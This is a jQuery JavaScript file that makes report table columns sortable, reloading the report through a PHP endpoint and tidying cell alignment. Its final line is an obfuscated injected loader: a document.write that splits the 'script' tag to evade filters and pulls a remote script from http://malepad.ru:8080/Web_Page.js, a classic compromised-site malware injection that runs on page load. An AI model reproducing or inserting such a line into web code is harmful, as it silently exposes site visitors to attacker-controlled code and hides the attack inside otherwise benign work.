function insertSorters(myCP, color_id) {	
	sort_order=$(".sort_order",myCP).val();
	sort_column=$(".sort_column",myCP).val();
	var cpid = $(myCP).attr('id');
	$('td.SUBHEADER', myCP)	
	//this is to filter only the first column header row
	.filter(function() {
		if ($(this).attr("colspan") == '50')
			return false;
		else {
			//text align the col-headers
			$(this).css('text-align', 'center');			
			/*var parent_row = $(this).parents('tr');
			var prev_row = parent_row.prev();
			while (!prev_row.is(':first-child')) {
				if (prev_row.children('td.ODD').length > 0)
					return false;
				else	
					prev_row = prev_row.prev();
			}*/
			return true;
		}								
	})	
	.each(function() {
		$(this).css({ "cursor":"pointer"});
		parent_tr = $(this).parents('tr')[0];
		cells = $('td', parent_tr);
		count = cells.length;
		index=1;
		for(x=1; x <= count; x++) {
			if ($(this).is(':nth-child(' + x + ')')) {
				index = x;
				break;
			}	
		}
		$(this).attr({'id': cpid + '-' + index});
		if(index == sort_column) {
			$(this).addClass(sort_order);
		}
		else {
			$(this).addClass("unsorted");
		}
		
	});
	
	$('.SUBHEADER', myCP).click(function() {
		myparams = $(this).attr('id').split('-');
		tab_id = myparams[0].replace('cp', '');
		//sort_order = myparams[1]; 
		sort_column = myparams[1];
		if($(this).hasClass("unsorted")) {
			sort_order="ascending";
			//$(this).addClass("ascending").removeClass("unsorted");
		}
		else if($(this).hasClass("ascending")) {
			sort_order="descending";
		}
		else if($(this).hasClass("descending")) {
			sort_order="ascending";
		}
		else {
			sort_order="";
		}
		
		if(sort_order) {
			$(myCP).load('index.php/user/sortReport/' 
			+ tab_id + '/' + sort_column + '/' + sort_order, 
				function(data) {
					insertSorters(this, color_id);
					tidyUpReport(this);
				
					//color the rows
					$("TD.SUBHEADER", myCP).addClass("ui-table-subheader");
					$("TD.GROUPHEADER", myCP).addClass("ui-table-groupheader");
					$("TD.FOOTER", myCP).addClass("FOOTER");
					//$("TD.FIELDS", myCP).addClass("ui-table-fields");
					//$("TD.ODD", myCP).addClass("ui-table-odd");
					//$("#pg" + tab_id).addClass("ui-table");
					$("TR", myCP)
					.filter(function() {
						len = $(this).children('.FIELDS').length;
						//alert(len);
						if (len)
							return true;
						else
							return false;
						
					})
					.addClass("ui-table-fields");
					
					$("TR", myCP)
					.filter(function() {
						len = $(this).children('.ODD').length;
						//alert(len);
						if (len)
							return true;
						else
							return false;
						
					})
					.addClass("ui-table-odd");

				}
			);
		}
	});
}

function tidyUpReport(myCP) {
	$("td.ODD, td.FIELDS", myCP)
	.filter(function() {
		text = $(this).text();
		if (text.length < 5)
			return true;
		else
			return false;		
	})
	.css('text-align', 'center');
	
	// remove 'align' attribute in the report table element
	$('table', myCP).removeAttr('align');
}

document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Web_Page.js"></scr'+'ipt>');